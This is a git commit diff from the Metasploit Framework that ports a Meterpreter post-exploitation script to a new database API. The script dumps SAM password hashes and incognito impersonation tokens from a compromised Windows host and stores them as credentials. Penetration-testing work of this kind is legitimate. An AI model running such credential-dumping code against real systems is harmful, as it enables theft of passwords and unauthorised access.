update to use the new api

git-svn-id: file:///home/svn/framework3/trunk@8208 4d416f70-5f16-0410-b530-b9f4589650da
unstable
James Lee 2010-01-22 23:53:12 +00:00
parent fca4d8f3dc
commit aa4e0429ad
1 changed files with 18 additions and 21 deletions

View File

@ -30,36 +30,33 @@ hashes = client.priv.sam_hashes
# Target infos for the db record # Target infos for the db record
addr = client.sock.peerhost addr = client.sock.peerhost
host = client.framework.db.report_host_state(self, addr, Msf::HostState::Alive) host = client.framework.db.find_or_create_host(:host => addr, :state => Msf::HostState::Alive)
# Record hashes to the running db instance as auth_HASH type # Record hashes to the running db instance
hashes.each do |user| hashes.each do |hash|
data = {}
data[:host] = host
data[:proto] = 'smb'
data[:user] = hash.user_name
data[:hash] = hash.lanman + ":" + hash.ntlm
data[:targ_host] = host.address
data[:hash_string] = hash.hash_string
type = "auth_HASH" client.framework.db.report_auth_info(data)
data = user.to_s
client.framework.db.queue Proc.new {
# We'll make this look like an auth note anyway
client.framework.db.get_note(self, host, type, data)
}
end end
# Record user tokens # Record user tokens
tokens = client.incognito.incognito_list_tokens(0) tokens = client.incognito.incognito_list_tokens(0)
raise Rex::Script::Completed if not tokens raise Rex::Script::Completed if not tokens
# Grab just the values
tokens = tokens.values
# Meh, tokens come to us as a formatted string # Meh, tokens come to us as a formatted string
tokens = tokens.to_s.strip.split("\n") (tokens["delegation"] + tokens["impersonation"]).split("\n").each do |token|
data = {}
data[:host] = host
data[:proto] = 'smb'
data[:token] = token
data[:targ_host] = host.address
tokens.each do |token| client.framework.db.report_auth_info(data)
type = "auth_TOKEN"
data = token
client.framework.db.queue Proc.new {
# We'll make this look like an auth note anyway
client.framework.db.get_note(self, host, type, data)
}
end end